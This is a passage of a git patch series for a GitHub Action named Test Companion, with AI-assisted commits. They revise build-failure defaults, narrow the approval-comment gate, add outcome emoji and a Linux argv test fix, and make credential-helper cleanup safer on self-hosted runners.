about — and a misspelling leaves you exactly + * where a fresh install would be, which is defensible. + */ + test("a misspelling lands on the default, not on the quietest setting", () => { + assert.equal(stepShouldFail("reprot", OUTCOMES.RUN_BROKE), true) + assert.equal(stepShouldFail("FAIL_HARD", OUTCOMES.RUN_BROKE), true) + }) +}) + +describe("the two explicit settings keep their meaning", () => { + test("report is still never red", () => { + for (const o of Object.values(OUTCOMES)) { + assert.equal(stepShouldFail("report", o), false, `${o} reddened the step under report`) + } + }) + + test("an existing off keeps working as report", () => { + // Undocumented from now on, but a workflow already saying it must not + // start failing builds because we stopped advertising the word. + for (const o of Object.values(OUTCOMES)) { + assert.equal(stepShouldFail("off", o), false, `${o} reddened the step under off`) + } + }) + + test("fail is still red on anything that is not a success", () => { + for (const o of [...BROKEN, OUTCOMES.TESTS_FAILED]) { + assert.equal(stepShouldFail("fail", o), true, `${o} left the step green under fail`) + } + assert.equal(stepShouldFail("fail", OUTCOMES.SUCCEEDED), false) + assert.equal(stepShouldFail("fail", OUTCOMES.SKIPPED), false) + }) + + test("case and stray spaces do not decide whether a build goes red", () => { + assert.equal(stepShouldFail(" Report ", OUTCOMES.RUN_BROKE), false) + assert.equal(stepShouldFail(" FAIL ", OUTCOMES.TESTS_FAILED), true) + }) +}) + +describe("the input documents what it does", () => { + const yml = readFileSync(new URL("../action.yml", import.meta.url), "utf8") + const input = yml.slice(yml.indexOf("build-effect:"), yml.indexOf("github-token:")) + + test("its default is the new one", () => { + assert.match(input, /default:\s*"fail-on-break"/) + }) + + test("it no longer advertises off, which never did anything of its own", () => { + assert.doesNotMatch(input, /\boff\b/) + }) + + test("it names both of the settings that do something different", () => { + assert.match(input, /report/) + assert.match(input, /fail/) + }) +}) diff --git a/test-companion/test/outcome.test.mjs b/test-companion/test/outcome.test.mjs index 1f0b94b..eb68173 100644 --- a/test-companion/test/outcome.test.mjs +++ b/test-companion/test/outcome.test.mjs @@ -117,10 +117,14 @@ describe("stepShouldFail — FR-9 build effect", () => { assert.equal(stepShouldFail("fail", OUTCOMES.SUCCEEDED), false) }) - // An unset or misspelled build effect must not silently redden builds. - test("anything unrecognised behaves as report", () => { - assert.equal(stepShouldFail(undefined, OUTCOMES.RUN_BROKE), false) - assert.equal(stepShouldFail("FAIL_HARD", OUTCOMES.RUN_BROKE), false) + // REVERSED by STM-5434 demo feedback, item 6. While `report` was the + // default, "a misconfiguration must never redden a build" was the safe + // direction. The default is now fail-on-break, so a typo landing you on a + // quieter setting than a fresh install is the silent pass item 6 is about. + // The whole rule lives in build-effect.test.mjs now; this is the hinge. + test("anything unrecognised behaves as the default", () => { + assert.equal(stepShouldFail(undefined, OUTCOMES.RUN_BROKE), true) + assert.equal(stepShouldFail("FAIL_HARD", OUTCOMES.RUN_BROKE), true) }) }) @@ -148,7 +152,9 @@ describe("resolveOutcome — an unbound event is skipped, not broken", () => { }) test("a skipped outcome never reddens the step or the check", () => { - assert.equal(stepShouldFail(OUTCOMES.SKIPPED, "fail"), false) + // The arguments were the wrong way round here, which made this pass + // without ever asking the question. stepShouldFail(buildEffect, outcome). + assert.equal(stepShouldFail("fail", OUTCOMES.SKIPPED), false) assert.notEqual(checkConclusion(OUTCOMES.SKIPPED), "failure") }) }) From 62a119e1d1060f7e314549fdabf3fd3a2e9228e8 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Tue, 3 Nov 2026 14:55:16 +0530 Subject: [PATCH 33/49] fix: `go #` must not need the mention either MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Found on a live run. readIntent and findProposal both learned about naming a plan; the gate that decides whether an unaddressed comment reaches us at all did not, so `go #6599834707` was dropped as "no @test-companion mention" before the intent was ever read. A plan reference is now allowed after the word and nothing else. Still narrow: "Approved, but rename the login case" is an ordinary review comment and still needs the mention. STM-5434, demo feedback item 5. 605 tests pass (5 new). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 5 --- test-companion/src/plan-run.mjs | 14 ++++- .../test/approval-targeting.test.mjs | 55 +++++++++++++++++++ 2 files changed, 68 insertions(+), 1 deletion(-) diff --git a/test-companion/src/plan-run.mjs b/test-companion/src/plan-run.mjs index 013c1a0..2a710f0 100644 --- a/test-companion/src/plan-run.mjs +++ b/test-companion/src/plan-run.mjs @@ -229,7 +229,19 @@ function fromComment(payload, inputs) { // Edits alongside an approval are still supported — FR-43 invites them — // but then the person has to address us, which is the difference between // talking to Test Companion and talking about the change. - const approvalOnly = !addressed && /^\s*(go|approved?)\s*[.!]*\s*$/i.test(body) + // + // A PLAN REFERENCE is allowed after the word, and nothing else: `go #1234` + // or `go `, which is how you say WHICH plan when two are + // waiting (STM-5434 demo feedback, item 5). Found on a live run — readIntent + // and findProposal had both learned about it and this gate had not, so the + // comment was dropped as "no @test-companion mention" before the intent was + // ever read, and naming a plan only worked if you also addressed us. + // + // Still narrow: six digits at least, and the reference must be the whole + // rest of the comment. "Approved, but rename the login case" is an ordinary + // review comment and still needs the mention, and so does "go and look at + // #25 too". + const approvalOnly = !addressed && /^\s*(go|approved?)(\s+\S*#(issuecomment-)?\d{6,})?\s*[.!]*\s*$/i.test(body) if (!addressed && !approvalOnly) return skip("not-addressed-to-us") // Everything after the mention is what the person actually asked for. The diff --git a/test-companion/test/approval-targeting.test.mjs b/test-companion/test/approval-targeting.test.mjs index 4f21e58..1299838 100644 --- a/test-companion/test/approval-targeting.test.mjs +++ b/test-companion/test/approval-targeting.test.mjs @@ -1,6 +1,7 @@ import { test, describe } from "node:test" import assert from "node:assert/strict" import { readIntent, INTENT } from "../src/intent.mjs" +import { planRun } from "../src/plan-run.mjs" import { proposalMarkerFor, proposalConsumedMarkerFor, @@ -167,3 +168,57 @@ describe("the result comment says which plan it carried out", () => { assert.doesNotMatch(body, /\| Plan \|/) }) }) + +describe("naming a plan does not need the mention", () => { + /** + * FOUND ON A LIVE RUN, 3 November. `readIntent` and `findProposal` both + * learned about `go #1234`, and the gate in plan-run.mjs that decides + * whether an UNADDRESSED comment reaches us at all did not — it still + * only accepted a bare `go`. So `go #1234` was dropped as "no + * @test-companion mention" before the intent was ever read, and naming a + * plan only worked if you also addressed the comment. + * + * Still narrow. `go` followed by a plan reference and nothing else is + * unmistakably aimed at us; "Approved, but rename the login case" is still + * an ordinary review comment and still needs the mention (M3, #3101). + */ + const comment = (body) => ({ + action: "created", + issue: { number: 7, pull_request: {} }, + comment: { body, user: { login: "an-sdet" } }, + }) + + test("go #id is carried through unaddressed", () => { + const out = planRun({ eventName: "issue_comment", payload: comment("go #6599834707"), repo: "acme/shop" }) + assert.equal(out.skip, undefined) + assert.equal(out.approvalOnly, true) + }) + + test("so is a pasted comment link", () => { + const body = "go https://github.com/acme/shop/pull/7#issuecomment-6599834707" + const out = planRun({ eventName: "issue_comment", payload: comment(body), repo: "acme/shop" }) + assert.equal(out.skip, undefined) + assert.equal(out.approvalOnly, true) + }) + + test("a bare go still is", () => { + const out = planRun({ eventName: "issue_comment", payload: comment("go"), repo: "acme/shop" }) + assert.equal(out.approvalOnly, true) + }) + + test("but approval with edits still needs the mention", () => { + const out = planRun({ + eventName: "issue_comment", + payload: comment("Approved, but rename the login case"), + repo: "acme/shop", + }) + assert.equal(out.skip?.reason, "not-addressed-to-us") + }) + + test("and a number that is not a plan reference does not open the gate", () => { + // "go #25" is somebody pointing at a pull request. It is a bare-ish go, + // so it is carried through — but as a BARE one, with no plan named. + const out = planRun({ eventName: "issue_comment", payload: comment("go and look at #25 too"), repo: "acme/shop" }) + assert.equal(out.skip?.reason, "not-addressed-to-us") + }) +}) From a451f4a839e5f0b6aa99ca8c9990e9c41c683499 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Tue, 3 Nov 2026 15:37:51 +0530 Subject: [PATCH 34/49] feat: mark each outcome, so the heading reads at a glance MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ✅ Succeeded ❌ Tests failed 💥 Run broke 🛑 Stopped at limit ⚠️ Could not run ⏭️ Skipped In front of the words, never instead of them, so a screen reader still gets the whole outcome. An unknown outcome gets no mark rather than a crash. 611 tests pass (6 new). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 5 --- test-companion/src/outcome.mjs | 26 ++++++++++++ test-companion/src/report.mjs | 17 +++++++- test-companion/test/outcome-emoji.test.mjs | 48 ++++++++++++++++++++++ test-companion/test/report.test.mjs | 4 +- 4 files changed, 92 insertions(+), 3 deletions(-) create mode 100644 test-companion/test/outcome-emoji.test.mjs diff --git a/test-companion/src/outcome.mjs b/test-companion/src/outcome.mjs index 03e5a67..86645f2 100644 --- a/test-companion/src/outcome.mjs +++ b/test-companion/src/outcome.mjs @@ -128,6 +128,32 @@ export function checkConclusion(outcome) { } } +/** + * One mark per outcome, so the heading reads at a glance. + * + * "## Test Companion — Run broke" and "## Test Companion — Succeeded" look the + * same in a crowded pull request thread, and the one that needs attention is + * the one that blends in. + * + * Deliberately the four GitHub itself uses for the same ideas — a tick for + * done, a cross for a failing test, a warning for "somebody has to look" — + * rather than anything decorative. An outcome this Action has never heard of, + * which a newer CLI could report, gets no mark rather than a crash: losing the + * mark is cosmetic, losing the report is not. + */ +const OUTCOME_MARKS = Object.freeze({ + [OUTCOMES.SUCCEEDED]: "✅", + [OUTCOMES.TESTS_FAILED]: "❌", + [OUTCOMES.RUN_BROKE]: "💥", + [OUTCOMES.STOPPED_AT_LIMIT]: "🛑", + [OUTCOMES.COULD_NOT_RUN]: "⚠️", + [OUTCOMES.SKIPPED]: "⏭️", +}) + +export function emojiFor(outcome) { + return OUTCOME_MARKS[outcome] ?? "" +} + /** What a repository can ask a bad outcome to do to its build — FR-9. */ export const BUILD_EFFECTS = Object.freeze({ /** Never red. The check still reports truthfully. */ diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index ebb13d4..c9caaf4 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -8,6 +8,17 @@ * preinstalled on every runner and already how this product talks to GitHub. */ import { CAPABILITIES } from "./intent.mjs" +import { emojiFor } from "./outcome.mjs" + +/** + * The outcome with its mark in front — never instead of the words, so a reader + * with images off, or a screen reader, still gets the whole outcome. An + * outcome with no mark reads exactly as it did before. + */ +const withMark = (outcome) => { + const mark = emojiFor(outcome) + return mark ? `${mark} ${outcome}` : String(outcome ?? "") +} /** * How a later run finds the comment it wrote earlier — FR-29 wants ONE comment, @@ -140,7 +151,9 @@ export function renderJobSummary({ warnings = [], } = {}) { const lines = [] - lines.push(`## Test Companion — ${outcome}`) + // The mark goes in front of the words, never instead of them: a reader with + // images off, or a screen reader, still gets the whole outcome. + lines.push(`## Test Companion — ${withMark(outcome)}`) lines.push("") // FR-43: both asking and approving need write access, so one person doing @@ -176,7 +189,7 @@ export function renderJobSummary({ const rows = [ ["Job", workflow ?? summary.workflow], ["Trigger", summary.event], - ["Outcome", outcome], + ["Outcome", withMark(outcome)], ["Took", summary.duration], // Credits, not dollars: it is the unit the bill and the pipeline file's // own ceiling are written in, so a figure in dollars would not line up diff --git a/test-companion/test/outcome-emoji.test.mjs b/test-companion/test/outcome-emoji.test.mjs new file mode 100644 index 0000000..c9ba40e --- /dev/null +++ b/test-companion/test/outcome-emoji.test.mjs @@ -0,0 +1,48 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { OUTCOMES, emojiFor } from "../src/outcome.mjs" +import { renderJobSummary } from "../src/report.mjs" + +/** + * The outcome should be readable at a glance. + * + * "## Test Companion — Run broke" and "## Test Companion — Succeeded" look the + * same in a crowded pull request thread, and the one that needs attention is + * the one that blends in. + */ + +describe("every outcome has a mark of its own", () => { + test("no two outcomes share one", () => { + const marks = Object.values(OUTCOMES).map(emojiFor) + assert.equal(new Set(marks).size, marks.length, `marks collide: ${marks.join(" ")}`) + }) + + test("every outcome has one", () => { + for (const o of Object.values(OUTCOMES)) { + assert.ok(emojiFor(o), `${o} has no mark`) + } + }) + + test("an outcome we do not know does not break the heading", () => { + // A newer CLI could report something this Action has never heard of. + // A missing mark is a cosmetic loss; a crash is a lost report. + assert.equal(emojiFor("Something new"), "") + assert.equal(emojiFor(undefined), "") + }) + + test("the heading carries it", () => { + const body = renderJobSummary({ workflow: "fix", outcome: OUTCOMES.RUN_BROKE, summary: {}, runUrl: "https://run" }) + assert.match(body.split("\n")[0], /^## Test Companion — .+ Run broke$/u) + assert.ok(body.split("\n")[0].includes(emojiFor(OUTCOMES.RUN_BROKE))) + }) + + test("and so does the row, so the table reads on its own", () => { + const body = renderJobSummary({ workflow: "fix", outcome: OUTCOMES.TESTS_FAILED, summary: {}, runUrl: "https://run" }) + assert.match(body, new RegExp(`\\| Outcome \\| ${emojiFor(OUTCOMES.TESTS_FAILED)} Tests failed \\|`, "u")) + }) + + test("a success still reads as a success", () => { + const body = renderJobSummary({ workflow: "generate", outcome: OUTCOMES.SUCCEEDED, summary: {}, runUrl: "https://run" }) + assert.match(body.split("\n")[0], /Succeeded$/) + }) +}) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index dff38ec..5316c82 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -1191,7 +1191,9 @@ describe("renderComment keeps the body postable", () => { test("the table still renders above the cut answer", () => { const body = renderComment(view("word ".repeat(40_000))) assert.ok(body.includes("| Job | fix |")) - assert.ok(body.includes("Test Companion — Succeeded")) + // The heading carries a mark in front of the words now, so match the + // shape rather than the exact string — see outcome-emoji.test.mjs. + assert.match(body, /## Test Companion — .*Succeeded/u) }) // Not the answer's fault. The listed failures are capped, but a test NAME From b222051d4ec5928b3ec1a4be6c23d7d1dae2c2c5 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Tue, 3 Nov 2026 16:24:22 +0530 Subject: [PATCH 35/49] fix: a test that could only ever pass on macOS MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The child was handed a 240KB payload as a command-line argument. Linux caps a single argv entry at 128KB, so it failed with E2BIG on every Linux runner. The child builds the payload itself now. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 5 --- test-companion/test/answer.test.mjs | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/test-companion/test/answer.test.mjs b/test-companion/test/answer.test.mjs index 33ac344..2339ae1 100644 --- a/test-companion/test/answer.test.mjs +++ b/test-companion/test/answer.test.mjs @@ -154,8 +154,15 @@ describe("runCapturingAnswer", () => { // A long answer arrives in many pipe-sized pieces, split anywhere — // including through a multi-byte character. test("an answer larger than the pipe buffer survives being split up", async () => { + // The child BUILDS the payload; it is not passed in as an argument. + // Linux caps a single argv entry at 128KB (MAX_ARG_STRLEN) however + // large ARG_MAX is, so embedding 180KB of text here spawned fine on + // macOS and failed with E2BIG on every Linux runner — which is where + // CI runs. Caught by this test's first trip through CI, on PR #3286. const text = "— ".repeat(60_000) + "END" - const [cmd, args] = fake(`process.stdout.write(JSON.stringify({event:"answer",text:${JSON.stringify(text)}})+"\\n")`) + const [cmd, args] = fake( + `const t = "— ".repeat(60000) + "END"; process.stdout.write(JSON.stringify({event:"answer",text:t})+"\\n")`, + ) const r = await runCapturingAnswer(cmd, args, process.env) assert.equal(r.answer, text) }) From af9b32e737f315a2f7cdab4a57b362eac0012b5f Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Tue, 3 Nov 2026 17:26:04 +0530 Subject: [PATCH 36/49] fix: eight findings from the review of vscode-ai-testing#3286 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - `go #` was handed to the agent as an authoritative instruction, because hasApproverEdits called it an edit and renderApprovedPlan acts on that. - A plan reference matched anywhere in the comment, so a quoted link refused a valid approval. Both now share one anchored definition with the gate. - The cleanup used --unset-all and removed credential helpers the runner's owner set up, even when our own setup-git had failed. - The sweep could write a commit-wide dropped marker and kill every plan on that commit. - A closed pull request left its check in progress — the #3101 B1 failure. - The expiry copy was wrong: nightly sweep means 24-48h, and it resolves to Action required, not Skipped. - `stop` went back in the control lane, so it cannot evict a queued run. - An unrecognised build-effect now says so. 620 tests pass (12 new). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 5 --- test-companion/action.yml | 19 ++++-- test-companion/src/intent.mjs | 32 ++++++++- test-companion/src/main.mjs | 27 +++++++- test-companion/src/outcome.mjs | 24 +++++++ test-companion/src/plan-run.mjs | 3 +- test-companion/src/report.mjs | 23 +++++-- test-companion/starter-workflow.yml | 4 +- test-companion/test/action-yml.test.mjs | 24 ++++++- .../test/approval-targeting.test.mjs | 67 ++++++++++++++++++- test-companion/test/build-effect.test.mjs | 25 +++++++ test-companion/test/stop-removed.test.mjs | 10 ++- 11 files changed, 238 insertions(+), 20 deletions(-) diff --git a/test-companion/action.yml b/test-companion/action.yml index f8b5ad0..47a3444 100644 --- a/test-companion/action.yml +++ b/test-companion/action.yml @@ -252,6 +252,7 @@ runs: # and gh reads the job-scoped config dir set above. Undone in # the cleanup step, which matters on a self-hosted runner. if env -u GH_TOKEN -u GITHUB_TOKEN gh auth setup-git --hostname github.com 2>/dev/null; then + echo "TC_ADDED_GIT_HELPER=1" >> "$GITHUB_ENV" echo "git will use gh's credential for github.com." else echo "::notice::Could not point git at gh's credential; a live run's dedupe claim may fail." @@ -310,8 +311,6 @@ runs: path: ${{ steps.run.outputs.result-file }} if-no-files-found: ignore - # Separate from the run step so the report is attached even when the build - # effect says this run should redden the build. # The token must not outlive the job. On a GitHub-hosted runner the # machine is destroyed anyway; on a self-hosted one it is not, and # this is the difference between a token that lives for one job and @@ -327,12 +326,24 @@ runs: # at the config dir removed below — leaving it would hand the # next job a helper that answers nothing, and a git command that # stops to ask for a password rather than failing. - git config --global --unset-all credential.https://github.com.helper 2>/dev/null || true - git config --global --unset-all credential.https://gist.github.com.helper 2>/dev/null || true + # + # ONLY THE ONE WE ADDED. `--unset-all` removed EVERY helper for + # that URL, including ones the runner's owner set up long before + # us — manager-core, a PAT helper — and it ran even when our own + # setup-git had failed and we had added nothing. The first Test + # Companion job on a self-hosted runner permanently broke that + # runner's git auth (STM-5434 review, PR #3286). `--unset` with a + # value pattern removes our entry and leaves the rest. + if [ "${TC_ADDED_GIT_HELPER:-}" = "1" ]; then + git config --global --unset credential.https://github.com.helper '^!.*gh auth git-credential' 2>/dev/null || true + git config --global --unset credential.https://gist.github.com.helper '^!.*gh auth git-credential' 2>/dev/null || true + fi gh auth logout --hostname github.com >/dev/null 2>&1 || true rm -rf "$GH_CONFIG_DIR" echo "gh credentials removed from this runner." + # Separate from the run step so the report is attached even when the + # build effect says this run should redden the build. - name: Apply the build effect if: always() && steps.run.outputs.should-fail == 'true' shell: bash diff --git a/test-companion/src/intent.mjs b/test-companion/src/intent.mjs index 64f53a8..a344ff1 100644 --- a/test-companion/src/intent.mjs +++ b/test-companion/src/intent.mjs @@ -89,6 +89,34 @@ const RECHECK = /\bre-?\s?check\b/i */ const GO = /\b(go|approved?)\b/i +/** + * An approval and nothing else. + * + * ONE definition, exported, because three readers have to agree on it: this + * file (does the reply name a plan?), plan-run.mjs (may an UNADDRESSED comment + * reach us at all?) and report.mjs (did the approver edit the plan?). They did + * not agree, and each disagreement was a bug — the gate dropped `go #1234` + * before it was read, and hasApproverEdits called it an edit, which put the + * comment id into the plan the agent was handed as an instruction that wins. + */ +export const BARE_APPROVAL = /^\s*(?:go|approved?)\s*[.!]*\s*$/i + +/** + * An approval that names WHICH plan — `go #1234`, or `go `. + * + * ANCHORED to the approval word and to the end of the comment. Matching a + * `#id` anywhere turned "go — and pull the steps from #issuecomment-…" + * into an approval of a plan that does not exist, which was then refused + * (STM-5434 review, PR #3286). + * + * Six digits at least: a GitHub comment id is a ten-digit number, and `#25` is + * somebody pointing at a pull request. + */ +export const APPROVAL_WITH_PLAN = /^\s*(?:go|approved?)\s+\S*#(?:issuecomment-)?(\d{6,})\s*[.!]*\s*$/i + +/** Is this reply an approval and nothing else, with or without a plan named? */ +export const isApprovalOnly = (text) => BARE_APPROVAL.test(String(text ?? "")) || APPROVAL_WITH_PLAN.test(String(text ?? "")) + /** * WHICH plan a reply is approving — STM-5434 demo feedback, item 5. * @@ -100,9 +128,7 @@ const GO = /\b(go|approved?)\b/i * reply is somebody pointing at a pull request, and reading that as a plan id * would find no plan and refuse an approval that was perfectly clear. */ -const GO_TARGET = /#(?:issuecomment-)?(\d{6,})\b/ - -const namedProposal = (text) => GO_TARGET.exec(text)?.[1] +const namedProposal = (text) => APPROVAL_WITH_PLAN.exec(String(text ?? ""))?.[1] /** * Plain words to job names, most specific first. diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 68a65b4..137bfb6 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -1330,6 +1330,21 @@ function cancelForClosedPr(payload) { if (!sha) return const { cancelled, forbidden } = cancelRunsOn(sha) if (cancelled > 0) { + // Cancelling leaves the run's check in progress, and a check that never + // resolves blocks anyone who made it required — the #3101 B1 failure. + // `stopRuns` used to complete it and went with `stop`; nothing replaced + // it, so a pull request closed mid-run kept a pending check that came + // back if it was reopened (STM-5434 review, PR #3286). + const existing = inFlightCheckId(gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`])?.check_runs) + if (existing) rememberCheck(sha, existing) + postCheck( + OUTCOMES.SKIPPED, + { outcome: "Skipped", summary: {}, runUrl: RUN_URL }, + sha, + [], + "completed", + "The pull request was closed.", + ) notice(`Test Companion: stopped ${cancelled} run(s) — the pull request was closed without merging.`) } else if (forbidden) { warn("Could not stop the run for a closed pull request: this workflow needs `actions: write`.") @@ -1438,6 +1453,16 @@ function sweepExpiredProposals() { // the dropped marker has to name the job, or dropping one stale plan // would finish off every other plan on that commit (item 5). const stale = findProposal(comments, sha, Date.now(), botLogin) + // A proposal written before the job was recorded has no workflow, and a + // marker with no workflow means the WHOLE COMMIT under the legacy rule + // in SPENT_MARKER — so sweeping one old plan would kill every current + // one beside it, which is the thing item 5 set out to stop. Leave it; + // it is already expired, so it cannot be approved either way + // (STM-5434 review, PR #3286). + if (!stale?.workflow) { + notice(`Test Companion: left an untagged stale proposal on #${pr.number} rather than sweeping the whole commit.`) + continue + } // Complete the check the PROPOSAL run left in progress, rather than // adding a second one beside it. The sweep is a different process with @@ -1452,7 +1477,7 @@ function sweepExpiredProposals() { postCheck(OUTCOMES.COULD_NOT_RUN, { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, sha) replyOnPr( pr.number, - `That proposal went a day without a reply, so I have dropped it. The check now says Action required — comment again and I will put up a fresh one.\n\n${proposalDroppedMarkerFor(sha, stale?.workflow)}`, + `That proposal went unanswered, so I have dropped it. The check now says Action required — comment again and I will put up a fresh one.\n\n${proposalDroppedMarkerFor(sha, stale?.workflow)}`, ) notice(`Test Companion: dropped a stale proposal on #${pr.number}.`) } diff --git a/test-companion/src/outcome.mjs b/test-companion/src/outcome.mjs index 86645f2..9dd6bb5 100644 --- a/test-companion/src/outcome.mjs +++ b/test-companion/src/outcome.mjs @@ -154,6 +154,23 @@ export function emojiFor(outcome) { return OUTCOME_MARKS[outcome] ?? "" } +/** + * A workflow annotation, because that is where somebody looking at a newly-red + * build will be. + */ +const warnedBuildEffects = new Set() +function warnUnrecognisedBuildEffect(value) { + // Once per distinct value, not once per process: a run only ever sees one + // setting, so this is "once" in practice, and it stays observable when + // several are exercised in the same process. + if (warnedBuildEffects.has(value)) return + warnedBuildEffects.add(value) + const known = Object.values(BUILD_EFFECTS).join(", ") + process.stdout.write( + `::warning::Test Companion: build-effect "${value}" is not one of ${known}, so the default (${BUILD_EFFECTS.FAIL_ON_BREAK}) applies and a run that breaks will redden this step.\n`, + ) +} + /** What a repository can ask a bad outcome to do to its build — FR-9. */ export const BUILD_EFFECTS = Object.freeze({ /** Never red. The check still reports truthfully. */ @@ -206,6 +223,13 @@ export function stepShouldFail(buildEffect, outcome) { .toLowerCase() if (effect === BUILD_EFFECTS.REPORT || effect === "off") return false if (effect === BUILD_EFFECTS.FAIL) return true + // Anything else is the default, which now reddens — so say which value we + // did not recognise, or the reddening has no explanation anywhere + // (STM-5434 review, PR #3286). `build-effect: none` and `warn` are the + // likely spellings somebody reaches for. + if (effect !== "" && effect !== BUILD_EFFECTS.FAIL_ON_BREAK) { + warnUnrecognisedBuildEffect(effect) + } return RUN_DID_NOT_WORK.has(outcome) } diff --git a/test-companion/src/plan-run.mjs b/test-companion/src/plan-run.mjs index 2a710f0..ded4af3 100644 --- a/test-companion/src/plan-run.mjs +++ b/test-companion/src/plan-run.mjs @@ -1,3 +1,4 @@ +import { isApprovalOnly } from "./intent.mjs" /** * Turn a GitHub event into a `tc workflow run` invocation — STM-3663 FR-14. * @@ -241,7 +242,7 @@ function fromComment(payload, inputs) { // rest of the comment. "Approved, but rename the login case" is an ordinary // review comment and still needs the mention, and so does "go and look at // #25 too". - const approvalOnly = !addressed && /^\s*(go|approved?)(\s+\S*#(issuecomment-)?\d{6,})?\s*[.!]*\s*$/i.test(body) + const approvalOnly = !addressed && isApprovalOnly(body) if (!addressed && !approvalOnly) return skip("not-addressed-to-us") // Everything after the mention is what the person actually asked for. The diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index c9caaf4..3bfea83 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -7,7 +7,7 @@ * The GitHub calls themselves are a thin layer in main.mjs over `gh`, which is * preinstalled on every runner and already how this product talks to GitHub. */ -import { CAPABILITIES } from "./intent.mjs" +import { CAPABILITIES, isApprovalOnly } from "./intent.mjs" import { emojiFor } from "./outcome.mjs" /** @@ -164,6 +164,15 @@ export function renderJobSummary({ lines.push("") } + // The run could not plant its duplicate-protection flag and went ahead + // anyway. The CLI records it in the report as `dedupe:`; without this the + // only trace was the raw job log, and the comment — which is what the + // customer reads — said nothing (STM-5434 review, PR #3286). + if (String(summary.dedupe ?? "").trim()) { + lines.push(`> \u26a0\ufe0f Ran without duplicate protection: ${inertMarkers(summary.dedupe)}`) + lines.push("") + } + // FR-42: a write that was configured and could not happen must be said out // loud — a silent skip reads as "there was nothing to write". for (const w of warnings) { @@ -366,7 +375,7 @@ export function renderStopRemoved() { "", "To end a run that is going, use **Cancel workflow** on the run's own page — GitHub does that more reliably than I could.", "", - "To get rid of a plan waiting for approval, just leave it. It expires on its own after 24 hours and the check resolves with it.", + "To get rid of a plan waiting for approval, just leave it. It stops being approvable after 24 hours, and a nightly sweep then closes it off — so the check can sit on **Action required** for up to another day before it resolves. If that check is required on your repository, merge is blocked until it does.", ].join("\n") } @@ -444,7 +453,7 @@ export function renderProposal(body, sha, requester, workflow) { return [ body, "", - "Reply **go** to run this for real. Nothing is written until you do. To change the list first, reply **@test-companion go** with your edits. Leave it and it expires on its own after a day.", + "Reply **go** to run this for real. Nothing is written until you do. To change the list first, reply **@test-companion go** with your edits. Leave it and it stops being approvable after a day.", "", proposalMarkerFor(sha, requester, workflow), ].join("\n") @@ -546,9 +555,11 @@ export function findProposal(comments, sha, now = Date.now(), us, opts = {}) { export function hasApproverEdits(replyText) { const reply = String(replyText ?? "").trim() if (!reply) return false - // A bare approval is not an edit. Presenting "go" as one would have the run - // looking for an instruction nobody gave. - return !/^(go|approved?)[\s.!]*$/i.test(reply) + // A bare approval is not an edit, and neither is one that names WHICH plan + // — `go #1234`. Presenting either as an edit would have the run looking for + // an instruction nobody gave, and renderApprovedPlan would hand the agent + // the comment id itself under "these win" (STM-5434 review, PR #3286). + return !isApprovalOnly(reply) } export function renderApprovedPlan(proposalBody, replyText) { diff --git a/test-companion/starter-workflow.yml b/test-companion/starter-workflow.yml index 9fddeed..e198be9 100644 --- a/test-companion/starter-workflow.yml +++ b/test-companion/starter-workflow.yml @@ -62,7 +62,9 @@ concurrency: test-companion-${{ github.event.pull_request.number || github.event.issue.number || github.run_id }}${{ - github.event.action == 'closed' + (github.event.action == 'closed' + || startsWith(github.event.comment.body, 'stop') + || contains(github.event.comment.body, '@test-companion stop')) && '-control' || '' }} # Queue rather than cancel: a run already in flight has spent credits, and # the newer one waits its turn instead of superseding it. Control events diff --git a/test-companion/test/action-yml.test.mjs b/test-companion/test/action-yml.test.mjs index af03ab7..3f9049c 100644 --- a/test-companion/test/action-yml.test.mjs +++ b/test-companion/test/action-yml.test.mjs @@ -78,9 +78,13 @@ describe("action.yml — git's credential helper is cleaned up", () => { test("whatever sets the helper also unsets it", () => { if (!/gh auth setup-git/.test(actionYml)) return + // `--unset` WITH A VALUE PATTERN, not `--unset-all`. The blanket form + // removed every helper for that URL, including ones the runner's owner + // set up before us, and ran even when our own setup-git had failed + // (STM-5434 review, PR #3286). assert.match( actionYml, - /--unset-all credential\.https:\/\/github\.com\.helper/, + /--unset credential\.https:\/\/github\.com\.helper '\^!\.\*gh auth git-credential'/, "a self-hosted runner keeps a helper pointing at a deleted config dir", ) }) @@ -98,3 +102,21 @@ describe("action.yml — git's credential helper is cleaned up", () => { assert.ok(login !== -1 && setup > login, "setup-git runs before there is a credential to use") }) }) + +/** + * STM-5434 review (kritansh20, PR #3286). The cleanup must not damage a + * self-hosted runner's own git configuration. + */ +describe("action.yml — the cleanup only removes what this job added", () => { + test("it never uses the blanket --unset-all on a credential helper", () => { + assert.doesNotMatch( + actionYml, + /--unset-all credential\./, + "that removes every helper for the host, including the runner owner's", + ) + }) + + test("and it only runs when this job actually added one", () => { + assert.match(actionYml, /TC_ADDED_GIT_HELPER/, "a failed setup-git must not trigger a cleanup of somebody else's helper") + }) +}) diff --git 